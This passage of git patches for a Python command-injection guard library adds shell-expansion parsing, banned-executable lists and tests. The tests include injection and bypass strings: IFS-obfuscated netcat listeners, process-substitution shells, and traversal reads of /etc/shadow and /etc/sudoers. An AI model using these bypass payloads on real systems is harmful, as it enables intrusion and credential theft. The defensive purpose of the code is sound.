inside_braces_no_escapes.count("{") == inside_braces_no_escapes.count("}"): + # Brace expansion + for var in inside_braces_no_escapes.split(','): + var = _replace_all(var, escape_placeholders) + item = full_expansion.replace( + content, _strip_quotes(var), 1) + values.append(item) + elif len(seq_params := inside_braces.split('..')) in (2, 3): # Sequence expansion - inside_params = list(map(int, inside_params)) - if len(inside_params) == 2: - inside_params.append(1) - start, end, step = inside_params - - sequence = None - if start <= end and step > 0: - sequence = range(start, end+1, step) - elif start <= end and step < 0: - sequence = range(end-1, start-1, step) - elif start > end and step > 0: - sequence = range(start, end-1, -step) - elif start > end and step < 0: - sequence = reversed(range(start, end-1, step)) - - if sequence: - for i in sequence: - values.append(full_expansion.replace(brackets, str(i))) + start, end = seq_params[:2] + + if start.replace("-", "", 1).isdigit() and end.replace("-", "", 1).isdigit(): + # Numeric sequences + start, end = int(start), int(end) + step = int(seq_params[2]) if len(seq_params) == 3 else 1 + format_fn = str + valid_sequence = True + elif start.isalnum() and end.isalnum() and len(start) == len(end) == 1: + # Alphanumeric sequences + start, end = ord(start), ord(end) + step = 1 + format_fn = chr + # Step is not allowed for character sequences + valid_sequence = (len(seq_params) == 2) else: - values.append(full_expansion.replace( - brackets, inside_brackets)) - - else: - # Brace expansion - for var in inside_brackets.split(','): - var = var.strip("\"'") - if var.startswith("$"): - var_value = _get_env_var_value(var) + # Invalid sequences + start, end, step = 0, 0, 0 + valid_sequence = False + + if valid_sequence: + if start <= end and step > 0: + sequence = range(start, end+1, step) + elif start <= end and step < 0: + sequence = range(end-1, start-1, step) + elif start > end and step > 0: + sequence = range(start, end-1, -step) + elif start > end and step < 0: + sequence = reversed(range(start, end-1, step)) else: - var_value = var - values.append(full_expansion.replace( - brackets, var_value, 1)) + # When syntax is valid but step is 0 the sequence is just the value inside the braces so the expansion is replaced with the value + sequence = [inside_braces] + + # Apply the format function (str or chr) to each int in the sequence + values.extend(full_expansion.replace( + content, format_fn(i), 1) for i in sequence) + + else: + # Replace invalid expansion to prevent infinite loop (from matching again) and store the full expansion to reinsert after the loop + placeholder = str(hash(full_expansion)) + invalid_matches[placeholder] = content + values.append(full_expansion.replace(content, placeholder)) + # Replace the full expansion with the expanded values value = ' '.join(values) - command = command.replace(full_expansion, value) + command = command.replace(full_expansion, value, 1) + # Reinsert invalid matches after the loop exits + command = _replace_all(command, invalid_matches) return command def _space_redirection_operators(command: str) -> str: + """ + Space out redirection operators to avoid them being combined with the next or previous command part when splitting. + Implementation is based on Bash redirection rules: + https://www.gnu.org/software/bash/manual/html_node/Redirections.html + """ REDIRECTION_OPERATORS_REGEX = re_compile( - r'(?!<\()(<>?&?-?(?:\d+|\|)?|<>)') - # Space out redirect operators to avoid them being combined with the next or previous command part when splitting + r'(?![<>]+\()(<>?&?-?(?:\d+|\|)?|<>)') return REDIRECTION_OPERATORS_REGEX.sub(r' \1 ', command) def _recursive_shlex_split(command: str) -> Iterator[str]: + """ + Recursively split the command string using shlex.split to handle nested/quoted shell syntax. + """ for cmd_part in shlex.split(command, comments=True): yield cmd_part # Strip either type of quotes but not both - if cmd_part.startswith("'") and cmd_part.endswith("'"): - cmd_part = cmd_part.strip("'") - elif cmd_part.startswith('"') and cmd_part.endswith('"'): - cmd_part = cmd_part.strip('"') + cmd_part = _strip_quotes(cmd_part) if '"' in cmd_part or "'" in cmd_part or " " in cmd_part: yield from _recursive_shlex_split(cmd_part) -def _parse_command(command: ValidCommand) -> Optional[Tuple[str, List[str]]]: +def _parse_command(command: ValidCommand) -> Tuple[str, List[str]]: + """ + Expands the shell exspansions in the command then parses the expanded command into a list of command parts. + """ if isinstance(command, str): - if not command.strip(): - # Empty commands are safe - return None - command_str = command elif isinstance(command, list): - if not command or command == [""]: - # Empty commands are safe - return None - command_str = " ".join(command) else: raise TypeError("Command must be a str or a list") + if not command_str: + # No need to expand or parse an empty command + return ("", []) + spaced_command = _space_redirection_operators(command_str) expanded_command = _shell_expand(spaced_command) parsed_command = list(_recursive_shlex_split(expanded_command)) @@ -273,6 +453,9 @@ def _path_is_executable(path: Path) -> bool: def _resolve_executable_path(executable: str) -> Union[Path, None]: + """ + Try to resolve the path of the executable using the which command and the system PATH. + """ if executable_path := which(executable): return Path(executable_path).resolve() @@ -285,13 +468,20 @@ def _resolve_executable_path(executable: str) -> Union[Path, None]: def _resolve_paths_in_parsed_command(parsed_command: List[str]) -> Tuple[Set[Path], Set[str]]: - # Create Path objects and resolve symlinks then add to sets of Path and absolute path strings from the parsed commands - # for comparison with the sensitive files common exploit executables and group/owner checks. + """ + Create Path objects from the parsed commands and resolve symlinks then add to sets of unique Paths + and absolute path strings for comparison with the sensitive files, common exploit executables and group/owner checks. + """ abs_paths, abs_path_strings = set(), set() for cmd_part in parsed_command: - # check if the cmd_part is an executable and resolve the path + + if "~" in cmd_part: + # Expand ~ and ~user constructions in the cmd_part + cmd_part = expanduser(cmd_part) + + # Check if the cmd_part is an executable and resolve the path if executable_path := _resolve_executable_path(cmd_part): abs_paths.add(executable_path) abs_path_strings.add(str(executable_path)) @@ -331,7 +521,7 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: # No restrictions no checks return None - expanded_command, parsed_command = _parse_command(command) or ("", []) + expanded_command, parsed_command = _parse_command(command) if not parsed_command: # Empty commands are safe return None @@ -351,17 +541,21 @@ def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: if "PREVENT_COMMON_EXPLOIT_EXECUTABLES" in restrictions: check_banned_executable(expanded_command, abs_path_strings) + prevent_uncommon_path_types = "PREVENT_UNCOMMON_PATH_TYPES" in restrictions + prevent_admin_owned_files = "PREVENT_ADMIN_OWNED_FILES" in restrictions + for path in abs_paths: - if "PREVENT_UNCOMMON_PATH_TYPES" in restrictions: - # to avoid blocking the executable itself since most are symlinks to the actual executable - if path != executable_path: - check_path_type(path) - - if "PREVENT_ADMIN_OWNED_FILES" in restrictions: - # to avoid blocking the executable itself since most owned by root or admin and group is wheel or sudo - if path != executable_path: - check_file_owner(path) - check_file_group(path) + # to avoid blocking the executable itself since most are symlinks to the actual executable + # and owned by root with group wheel or sudo + if path == executable_path: + continue + + if prevent_uncommon_path_types: + check_path_type(path) + + if prevent_admin_owned_files: + check_file_owner(path) + check_file_group(path) def check_multiple_commands(expanded_command: str, parsed_command: List[str]) -> None: diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index 9cf813f..e552a6e 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -150,13 +150,14 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te @pytest.mark.parametrize( "string, expanded_str", [ + # Simple variable expansions ("$HOME", f"{str(Path.home())}"), ("$PWD", f"{Path.cwd()}"), ("$IFS", " "), - ("$HOME $PWD $IFS", f"{str(Path.home())} {Path.cwd()} "), ("${HOME} ${PWD} ${IFS}", f"{str(Path.home())} {Path.cwd()} "), + # Slice expansions ("${IFS}", " "), ("${IFS:0}", " "), ("${IFS:0:1}", " "), @@ -168,31 +169,44 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te ("${HOME::}", f"{str(Path.home())[0:0]}"), ("${HOME: -1: -10}", f"{str(Path.home())[-1:-10]}"), ("${HOME:1+2+3-4:1.5+2.5+6-5.0}", f"{str(Path.home())[2:5]}"), + ("${BADKEY:0:2}", ""), + # Default value expansions that look like slice expansions ("${BADKEY:-1}", "1"), ("${BADKEY:-1:10}", "1:10"), - ("A${BADKEY:0:10}B", "AB"), ("A${BADKEY:-}B", "AB"), ("A${BADKEY:- }B", "A B"), - + + # Default value expansions ("${HOME:-defaultval}", f"{str(Path.home())}"), ("${HOME:=defaultval}", f"{str(Path.home())}"), ("${HOME:+defaultval}", "defaultval"), - ("${BADKEY:-defaultval}", "defaultval"), ("${BADKEY:=defaultval}", "defaultval"), ("${BADKEY:+defaultval}", ""), - ("${BADKEY:0:2}", ""), - ("${BADKEY:-$USER}", f"{getenv('USER')}"), + # Nested default value expansions ("${BADKEY:-${USER}}" , f"{getenv('USER')}"), ("${BADKEY:-${BADKEY:-${USER}}}", f"{getenv('USER')}"), + # Values set during expansions should be used + ("${BADKEY:=setval} $BADKEY ${BADKEY:=unused}", "setval setval setval"), + ("${BADKEY:=cu} ${BADKEY2:=rl} ${BADKEY}${BADKEY2}", "cu rl curl"), + ("${BADKEY:=0} ${BADKEY2:=10} ${HOME:BADKEY:BADKEY2}", f"0 10 {str(Path.home())[0:10]}"), + ("${BADKEY:=5} ${BADKEY2:=10} ${HOME: BADKEY + BADKEY2 - 10: BADKEY2 - 3 }", f"5 10 {str(Path.home())[5:7]}"), + ("${BADKEY:=5} ${BADKEY2:=10} ${HOME: $BADKEY + ${BADKEY2} - 10: BADKEY2 - 3 }", f"5 10 {str(Path.home())[5:7]}"), + ("${HOME: BADKEY=5: BADKEY+BADKEY}", f"{str(Path.home())[5:10]}"), + ("${HOME: BADKEY=5: BADKEY+=5 } $BADKEY", f"{str(Path.home())[5:10]} 10"), + ("${HOME: BADKEY=1+2+3 : BADKEY2=BADKEY+4 } $BADKEY $BADKEY2", f"{str(Path.home())[6:10]} 6 10"), + ("${HOME: BADKEY=5+6-1-5 : BADKEY2=BADKEY+5 } ${BADKEY} ${BADKEY2}", f"{str(Path.home())[5:10]} 5 10"), + + # Brace expansions ("a{d,c,b}e", "ade ace abe"), ("a{'d',\"c\",b}e", "ade ace abe"), ("a{$HOME,$PWD,$IFS}e", f"a{str(Path.home())}e a{Path.cwd()}e a e"), + # Int Sequence expansions ("{1..-1}", "1 0 -1"), ("{1..1}", "1"), ("{1..4}", "1 2 3 4"), @@ -218,15 +232,37 @@ def test_resolve_paths_in_parsed_command(self, command, expected_paths, setup_te ("{-10..-1..-2}", "-2 -4 -6 -8 -10"), ("{10..-10..2}", "10 8 6 4 2 0 -2 -4 -6 -8 -10"), ("{10..-10..-2}", "-10 -8 -6 -4 -2 0 2 4 6 8 10"), - + + # Step of 0 should not expand but should remove the brackets ("{1..10..0}", "1..10..0"), ("AB{1..10..0}CD", "AB1..10..0CD"), - ("AB{1..$HOME}CD", f"AB1..{str(Path.home())}CD"), + # Character Sequence expansions + ("{a..z}", "a b c d e f g h i j k l m n o p q r s t u v w x y z"), + ("{a..d}", "a b c d"), + ("{a..Z}", "a ` _ ^ ] \\ [ Z"), + ("{A..z}", "A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z"), + ("{A..D}", "A B C D"), + ("{z..a}", "z y x w v u t s r q p o n m l k j i h g f e d c b a"), + ("{Z..a}", "Z [ \\ ] ^ _ ` a"), + ("{0..Z}", "0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"), + ("{0..z}", "0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \\ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z"), + ("{a..1}", "a ` _ ^ ] \\ [ Z Y X W V U T S R Q P O N M L K J I H G F E D C B A @ ? > = < ; : 9 8 7 6 5 4 3 2 1"), + + # Character Sequence expansions with step should be returned as is + ("{a..z..2}", "{a..z..2}"), + + # Expansions that increase number of words ("a{1..4}e", "a1e a2e a3e a4e"), ("AB{1..10..2}CD {$HOME,$PWD} ${BADKEY:-defaultval}", f"AB1CD AB3CD AB5CD AB7CD AB9CD {str(Path.home())} {Path.cwd()} defaultval"), ("AB{1..4}CD", "AB1CD AB2CD AB3CD AB4CD"), + #Invalid expansions should not be expanded + ("AB{1..$HOME}CD", f"AB{'{'}1..{str(Path.home())}{'}'}CD"), + ("{1..--1}", "{1..--1}"), + ("{Z..a..2}", "{Z..a..2}"), + + # With a '-' in the expansion defaultval ("find . -name '*.txt' ${BADKEY:--exec} cat {} + ", "find . -name '*.txt' -exec cat {} + "), ] ) @@ -237,6 +273,7 @@ def test_shell_expansions(self, string, expanded_str): @pytest.mark.parametrize( "string", [ + # These should be blocked because they are banned expansions "${!prefix*}", "${!prefix@}", "${!name[@]}", @@ -261,14 +298,29 @@ def test_shell_expansions(self, string, expanded_str): "${BADKEY:-$HOME}", "${BADKEY:-${HOME}}" , "${BADKEY:-${BADKEY:-${HOME}}}", + # Same as previous but with @ and ^ in the nested expansion + "${BADKEY:-{a..1}}", + "${BADKEY:-{a..Z}}", + + # These should be blocked because they are invalid arithmetic expansions + "${HOME:1-}", + "${HOME:1+}", + "${HOME: -}", + "${HOME: +}", + "${HOME:1+2+3-}", + "${HOME:1+2+3+}", + "${HOME:V=}", + "${HOME: V= }", + "${HOME:V=1=}", ] ) def test_banned_shell_expansion(self, string): with pytest.raises(SecurityException) as cm: _shell_expand(string) - print(string) - assert cm.value.args[0].startswith("Disallowed shell expansion") + + error_msg = cm.value.args[0] + assert error_msg.startswith("Disallowed shell expansion") or error_msg.startswith("Invalid arithmetic in shell expansion") @pytest.mark.parametrize("original_func", [subprocess.run, subprocess.call]) @@ -328,9 +380,17 @@ def _do_test_command(self, command, expected_result, restrictions, original_func "ls -l\nwhoami", "ls -l & whoami", "echo $(whoami)", - "echo $(whoami)", "echo `whoami`", "cat <(whoami)", + "cat <<(whoami)", + "cat < <(whoami)", + "echo 'whoami' > >(sh)", + "echo 'whoami' >> >(sh)", + "echo 'whoami' >>(sh)", + "echo 'whoami' >>>(sh)", + ">(sh <<(cat<<<(whoami)", "sh -c 'whoami'", "find . -name '*.txt' -exec cat {} + ", "find . -name '*.txt' ${BADKEY:--exec} cat {} + ", @@ -345,6 +405,15 @@ def _do_test_command(self, command, expected_result, restrictions, original_func ["echo", "$(whoami)"], ["echo", "`whoami`"], ["cat", "<(whoami)"], + ["cat", "<<(whoami)"], + ["cat", "<", "<(whoami)"], + ["echo", "'whoami'", ">", ">(sh)"], + ["echo", "'whoami'", ">>", ">(sh)"], + ["echo", "'whoami'", ">>(sh)"], + ["echo", "'whoami'", ">>>(sh)"], + [">(sh", "<<(cat<<<(whoami)"], ["sh", "-c", "'whoami'"], ["find", ".", "-name", "'*.txt'", "-exec", "cat", "{}", "+"], ["find", ".", "-name", "'*.txt'", "${BADKEY:--exec}", "cat", "{}", "+"], @@ -366,8 +435,9 @@ def test_check_multiple_commands(self, command, original_func, setup_teardown): "cat /etc/pa*sswd", "cat /etc///pa*sswd*", "cat /etc/sudoers", - "cat ../../../../../../../../../../etc/sudoers.d/../sudoers", + "cat ../../../../../../../../../../../../../../../../../../../../etc/sudoers.d/../sudoers", "cat /etc/sudoers.d/../sudoers", + "cat ~/../../../../../../../../../../../../../../../../../../etc/p*sswd", ["cat", "/etc/shadow"], ["cat", "/etc/passwd"], @@ -379,6 +449,7 @@ def test_check_multiple_commands(self, command, original_func, setup_teardown): ["cat", "/etc/sudoers"], ["cat", "../../../../../../../../../../etc/sudoers.d/../sudoers"], ["cat", "/etc/sudoers.d/../sudoers"], + ["cat", "~/../../../../../../../../../../../../../../../../../../etc/p*sswd"], ] ) def test_check_sensitive_files(self, command, original_func, setup_teardown): @@ -411,6 +482,8 @@ def test_check_sensitive_files(self, command, original_func, setup_teardown): "${BADKEY:-nc} -l -p 1234", # Check that IFS can't be used to bypass "${IFS}nc${IFS}-l${IFS}-p${IFS}1234", + "${BADKEY:-$IFS}nc${BADKEY:-$IFS}-l${BADKEY:-$IFS}-p${BADKEY:-$IFS}1234", + "${BADKEY:-nc} ${BADKEY:--l} ${BADKEY:--p} ${BADKEY:-1234}", "${IFS}/usr/bin/nc*${IFS} -l -p 1234", "$IFS nc${IFS}-l -p 1234", "find . -name '*' -exec \"${IFS}/usr/bin/cu*l${IFS}\" {} + ", @@ -438,6 +511,8 @@ def test_check_sensitive_files(self, command, original_func, setup_teardown): ["{nc,-l,-p,1234}"], ["${IFS}nc${IFS}-l${IFS}-p${IFS}1234"], + ["${BADKEY:-$IFS}nc${BADKEY:-$IFS}-l${BADKEY:-$IFS}-p${BADKEY:-$IFS}1234"], + ["${BADKEY:-nc}", "${BADKEY:--l}", "${BADKEY:--p}", "${BADKEY:-1234}"], ["${IFS}/usr/bin/nc*${IFS}", "-l", "-p", "1234"], ["$IFS nc${IFS}", "-p", "1234"], ["find", ".", "-name", "'*'", "-exec", "\"${IFS}/usr/bin/cu*l${IFS}\"", "{}", "+"], From d078eb031aa4d9d2c014e4c03b54f26778b23a35 Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Mon, 26 Feb 2024 19:16:28 -0800 Subject: [PATCH 10/19] Remove redundant rmtree, remove script* and add time to BANNED_COMMAND_CHAINING_EXECUTABLES --- src/security/safe_command/api.py | 2 +- tests/safe_command/test_injection.py | 11 ++++------- 2 files changed, 5 insertions(+), 8 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index 4354ef4..e0eeef9 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -46,7 +46,7 @@ "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", "bash", "sh", "zsh", "csh", "rsh", "tcsh", "ksh", "dash", "fish", "powershell", "pwsh", "pwsh-preview", "pwsh-lts", "xargs", "awk", "perl", "python", "ruby", "php", "lua", "tclsh", "sqlplus", - "expect", "screen", "tmux", "byobu", "byobu-ugraph", "script", "scriptreplay", "scriptlive", + "expect", "screen", "tmux", "byobu", "byobu-ugraph", "time", "nohup", "at", "batch", "anacron", "cron", "crontab", "systemctl", "service", "init", "telinit", "systemd", "systemd-run" )) diff --git a/tests/safe_command/test_injection.py b/tests/safe_command/test_injection.py index e552a6e..70fb17b 100644 --- a/tests/safe_command/test_injection.py +++ b/tests/safe_command/test_injection.py @@ -2,16 +2,16 @@ import subprocess from pathlib import Path from os import mkfifo, symlink, remove, getenv -from shutil import rmtree, which +from shutil import which from security import safe_command from security.safe_command.api import _parse_command, _resolve_paths_in_parsed_command, _shell_expand from security.exceptions import SecurityException with (Path(__file__).parent / "fuzzdb" / "command-injection-template.txt").open() as f: - FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] # Remove newline + FUZZDB_OS_COMMAND_INJECTION_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] # Remove newline from the end without modifying payloads and handle escapes with (Path(__file__).parent / "fuzzdb" / "traversals-8-deep-exotic-encoding.txt").open() as f: - FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] # Remove newline + FUZZDB_PATH_TRAVERSAL_PAYLOADS = [line.replace('\\n','\n').replace("\\'", "'")[:-1] for line in f] @pytest.fixture @@ -64,10 +64,7 @@ def setup_teardown(tmpdir): "sh": sh } yield testpaths - - # Clean up the test files and directories - rmtree(tmpdir, ignore_errors=True) - remove(cwd_testfile) + remove(cwd_testfile) # Remove the current working directory test file since it is not in tmpdir def insert_testpaths(command, testpaths): From be243f3b8b457b8b82cabad7da948874794574ff Mon Sep 17 00:00:00 2001 From: Lucas Faudman Date: Tue, 27 Feb 2024 06:33:37 -0800 Subject: [PATCH 11/19] - check() now uses Popen kwargs to determine the initial env state and if shell expansion is needed. - _shell expand is only used when shell=True or the executable is a shell. (list of shells derived from https://www.in-ulm.de/~mascheck/various/shells/) but reading /etc/shells could be used to get a more accurate/concise list on a per-system basis. - The executable Popen kwarg is now handled correctly and takes precedence over the shell kwarg in determining if shell expansion is needed. See subprocess.py 1593-1596: When an executable is given and shell is True, the shell executable is replaced with the given executable. - the initial venv state is a copy of the env Popen kwarg to not modify the original Popen kwargs. - _resolve_executable_path now takes venv into account and uses the PATH env variable to find the executable if env is set in the Popen kwargs since this is how the subprocess module behaves. - test_popen_kwargs added to test the Popen kwargs and the initial env state. Other tests adjusted accordingly and refactored EXCEPTIONS outside class so they can be used as pytest params. --- src/security/safe_command/api.py | 99 ++++++++++++++++------------ tests/safe_command/test_injection.py | 97 +++++++++++++++++++-------- 2 files changed, 128 insertions(+), 68 deletions(-) diff --git a/src/security/safe_command/api.py b/src/security/safe_command/api.py index e0eeef9..d140ccb 100644 --- a/src/security/safe_command/api.py +++ b/src/security/safe_command/api.py @@ -2,7 +2,7 @@ from re import compile as re_compile from pathlib import Path from glob import iglob -from os import getenv, get_exec_path, access, X_OK +from os import getenv, get_exec_path, environ, access, X_OK from os.path import expanduser, expandvars from shutil import which from subprocess import CompletedProcess @@ -44,12 +44,13 @@ ("$(", "`", "<(", ">(")) BANNED_COMMAND_CHAINING_EXECUTABLES = frozenset(( "eval", "exec", "-exec", "env", "source", "sudo", "su", "gosu", "sudoedit", - "bash", "sh", "zsh", "csh", "rsh", "tcsh", "ksh", "dash", "fish", "powershell", "pwsh", "pwsh-preview", "pwsh-lts", - "xargs", "awk", "perl", "python", "ruby", "php", "lua", "tclsh", "sqlplus", + "xargs", "awk", "perl", "python", "ruby", "php", "lua", "sqlplus", "expect", "screen", "tmux", "byobu", "byobu-ugraph", "time", "nohup", "at", "batch", "anacron", "cron", "crontab", "systemctl", "service", "init", "telinit", "systemd", "systemd-run" )) +COMMON_SHELLS = frozenset(("sh", "bash", "zsh", "csh", "rsh", "tcsh", "tclsh", "ksh", "dash", "ash", + "jsh", "jcsh", "mksh", "wsh", "fish", "busybox", "powershell", "pwsh", "pwsh-preview", "pwsh-lts")) ALLOWED_SHELL_EXPANSION_OPERATORS = frozenset(('-', '=', '?', '+')) BANNED_SHELL_EXPANSION_OPERATORS = frozenset( @@ -58,7 +59,7 @@ def run(original_func: Callable, command: ValidCommand, *args, restrictions: ValidRestrictions = DEFAULT_CHECKS, **kwargs) -> Union[CompletedProcess, None]: # If there is a command and it passes the checks pass it the original function call - check(command, restrictions) + check(command, restrictions, **kwargs) return _call_original(original_func, command, *args, **kwargs) @@ -69,12 +70,18 @@ def _call_original(original_func: Callable, command: ValidCommand, *args, **kwar return original_func(command, *args, **kwargs) -def _get_env_var_value(var: str) -> str: +def _get_env_var_value(var: str, venv: Optional[dict] = None, default: Optional[str] = None) -> str: """ - Try to get the value of the environment variable var. - First with os.getenv then with os.path.expandvars. + Try to get the value of the environment variable var. + First check the venv if it is provided and the variable is set. + then check for a value with os.getenv then with os.path.expandvars. Returns an empty string if the variable is not set. """ + + # Use the venv if it is provided and the variable is set, even when it is an empty string + if venv and (value := venv.get(var)) is not None: + return value + # Try os.getenv first if (value := getenv(var)): return value @@ -85,7 +92,7 @@ def _get_env_var_value(var: str) -> str: if (value := expandvars(var)) != var: return value else: - return "" + return default or "" def _strip_quotes(string: str) -> str: @@ -109,7 +116,7 @@ def _replace_all(string: str, replacements: dict, reverse=False) -> str: return string -def _simple_shell_math(expression: Union[str, Iterator[str]], venv: dict, operator: str='+') -> int: +def _simple_shell_math(expression: Union[str, Iterator[str]], venv: dict, operator: str = '+') -> int: """ Handles arithmetic expansion of bracket paramters like ${HOME:1+1:5-2} == ${HOME:2:3} Only supports + - for now since * / % are banned shell expansion operators @@ -133,7 +140,7 @@ def is_assignment_operator(char: str) -> bool: def evaluate_stack(stack: list, venv: dict) -> float: if not stack: return 0 - + # Join items in the stack to form a string for evaluation stack_str = ''.join(stack) @@ -148,13 +155,13 @@ def evaluate_stack(stack: list, venv: dict) -> float: if var.startswith("{") and var.endswith("}"): var = var[1:-1] - value = venv.get(var) or _get_env_var_value(var) or "0" + # Unset vars and vars set to empty strings are treated as 0 + value = _get_env_var_value(var, venv, default="0") if is_valid_shell_number(value): return float(value) else: raise ValueError("Invalid arithmetic expansion") - # Main function body value = 0 stack = [] @@ -164,13 +171,13 @@ def evaluate_stack(stack: list, venv: dict) -> float: # Whitespace is ignored when evaluating the expression expression = expression.replace(' ', "").replace( "\t", "").replace("\n", "") - + # Raise an error if the last char in the expression is an operator last_char = expression[-1] if expression else "" if last_char and (is_operator(last_char) or is_assignment_operator(last_char)): raise ValueError( f"Invalid arithmetic expansion. operand expected (error token is '{last_char}')") - + if expression.startswith("-"): operator = "-" # More than one leading - is allowed by shell but has no effect different from one - @@ -236,7 +243,6 @@ def evaluate_stack(stack: list, venv: dict) -> float: # Add the char to the stack if not added during the lookahead stack.append(char) - # Evaluate what is left in the stack after the iterator is exhausted stack_value = evaluate_stack(stack, venv) if operator == "-": @@ -247,7 +253,7 @@ def evaluate_stack(stack: list, venv: dict) -> float: return int(value) -def _shell_expand(command: str) -> str: +def _shell_expand(command: str, venv: Optional[dict] = None) -> str: """ Expand shell variables and shell expansions in the command string. Implementation is based on Bash expansion rules: @@ -261,7 +267,11 @@ def _shell_expand(command: str) -> str: # To store {placeholder : invalid_match} pairs to reinsert after the loop invalid_matches = {} - venv = {} # To store env vars set during expansion + venv = venv or {} # To store env vars set during expansion + if "IFS" not in venv: + # Set the default IFS to space if it is not set explicitly in the environment + # since it is not always returned correctly by os.getenv or os.path.expandvars on all systems + venv["IFS"] = _get_env_var_value("IFS", venv, default=" ") while (match := (PARAM_EXPANSION_REGEX.search(command) or BRACE_EXPANSION_REGEX.search(command))): full_expansion, content = match.groups() @@ -298,7 +308,6 @@ def _shell_expand(command: str) -> str: end_slice = _simple_shell_math( expansion_param_2, venv) except ValueError as e: - # start_slice, end_slice = 0, 0 # If the arithmetic expansion fails the slice is set to 0:0 so an empty string is returned raise SecurityException( f"Invalid arithmetic in shell expansion: {e}") @@ -307,7 +316,7 @@ def _shell_expand(command: str) -> str: # like ${var:-defaultval}, ${var:=defaultval}, ${var:+defaultval}, ${var:?defaultval} default = ':'.join(expansion_params)[1:] - value = venv.get(var) or _get_env_var_value(var) + value = _get_env_var_value(var, venv, default="") if start_slice is not None: value = value[start_slice:end_slice] elif not operator or operator == "?": @@ -320,11 +329,6 @@ def _shell_expand(command: str) -> str: elif operator == "+": value = default if value else "" - # Explicitly set IFS to space but only after checking for a default value - # since IFS is not always returned by getenv or expandvars on all systems - if var == "IFS" and not value: - value = " " - command = command.replace(full_expansion, value, 1) elif match.re is BRACE_EXPANSION_REGEX: @@ -388,8 +392,8 @@ def _shell_expand(command: str) -> str: content, format_fn(i), 1) for i in sequence) else: - # Replace invalid expansion to prevent infinite loop (from matching again) and store the full expansion to reinsert after the loop - placeholder = str(hash(full_expansion)) + # Replace invalid expansion to prevent infinite loop (from matching again) and store the content to reinsert after the loop + placeholder = str(hash(content)) invalid_matches[placeholder] = content values.append(full_expansion.replace(content, placeholder)) @@ -427,7 +431,7 @@ def _recursive_shlex_split(command: str) -> Iterator[str]: yield from _recursive_shlex_split(cmd_part) -def _parse_command(command: ValidCommand) -> Tuple[str, List[str]]: +def _parse_command(command: ValidCommand, venv: Optional[dict] = None, shell: Optional[bool] = True) -> Tuple[str, List[str]]: """ Expands the shell exspansions in the command then parses the expanded command into a list of command parts. """ @@ -443,7 +447,8 @@ def _parse_command(command: ValidCommand) -> Tuple[str, List[str]]: return ("", []) spaced_command = _space_redirection_operators(command_str) - expanded_command = _shell_expand(spaced_command) + expanded_command = _shell_expand( + spaced_command, venv) if shell else spaced_command parsed_command = list(_recursive_shlex_split(expanded_command)) return expanded_command, parsed_command @@ -452,22 +457,25 @@ def _path_is_executable(path: Path) -> bool: return access(path, X_OK) -def _resolve_executable_path(executable: str) -> Union[Path, None]: +def _resolve_executable_path(executable: Optional[str], venv: Optional[dict] = None) -> Optional[Path]: """ Try to resolve the path of the executable using the which command and the system PATH. """ - if executable_path := which(executable): + if not executable: + return None # Return None if the executable is not set so does not resolve to /usr/local/bin + + if executable_path := which(executable, path=venv.get("PATH") if venv is not None else None): return Path(executable_path).resolve() - # Explicitly check if the executable is in the system PATH when which fails - for path in get_exec_path(): + # Explicitly check if the executable is in the system PATH or absolute when which fails + for path in [""] + get_exec_path(env=venv if venv is not None else None): if (executable_path := Path(path) / executable).exists() and _path_is_executable(executable_path): return executable_path.resolve() return None -def _resolve_paths_in_parsed_command(parsed_command: List[str]) -> Tuple[Set[Path], Set[str]]: +def _resolve_paths_in_parsed_command(parsed_command: List[str], venv: Optional[dict] = None) -> Tuple[Set[Path], Set[str]]: """ Create Path objects from the parsed commands and resolve symlinks then add to sets of unique Paths and absolute path strings for comparison with the sensitive files, common exploit executables and group/owner checks. @@ -482,7 +490,7 @@ def _resolve_paths_in_parsed_command(parsed_command: List[str]) -> Tuple[Set[Pat cmd_part = expanduser(cmd_part) # Check if the cmd_part is an executable and resolve the path - if executable_path := _resolve_executable_path(cmd_part): + if executable_path := _resolve_executable_path(cmd_part, venv): abs_paths.add(executable_path) abs_path_strings.add(str(executable_path)) @@ -502,7 +510,7 @@ def _resolve_paths_in_parsed_command(parsed_command: List[str]) -> Tuple[Set[Pat abs_path_strings.add(str(abs_path)) # Check if globbing and/or resolving symlinks returned an executable and add to the sets - if executable_path := _resolve_executable_path(str(path)): + if executable_path := _resolve_executable_path(str(path), venv): abs_paths.add(executable_path) abs_path_strings.add(str(executable_path)) @@ -516,21 +524,30 @@ def _resolve_paths_in_parsed_command(parsed_command: List[str]) -> Tuple[Set[Pat return abs_paths, abs_path_strings -def check(command: ValidCommand, restrictions: ValidRestrictions) -> None: +def check(command: ValidCommand, restrictions: ValidRestrictions, **kwargs) -> None: if not restrictions: # No restrictions no checks return None - expanded_command, parsed_command = _parse_command(command) + # venv is a copy to avoid modifying the original Popen kwargs or None to default to using os.environ when env is not set + venv = dict(**Popen_env) if (Popen_env := kwargs.get("env")) is not None else None + + # Check if the executable is set by the Popen kwargs (either executable or shell) + # Executable takes precedence over shell. see subprocess.py line 1593 + executable_path = _resolve_executable_path(kwargs.get("executable"), venv) + shell = executable_path.name in COMMON_SHELLS if executable_path else kwargs.get("shell") + + expanded_command, parsed_command = _parse_command(command, venv, shell) if not parsed_command: # Empty commands are safe return None - executable = parsed_command[0] - executable_path = 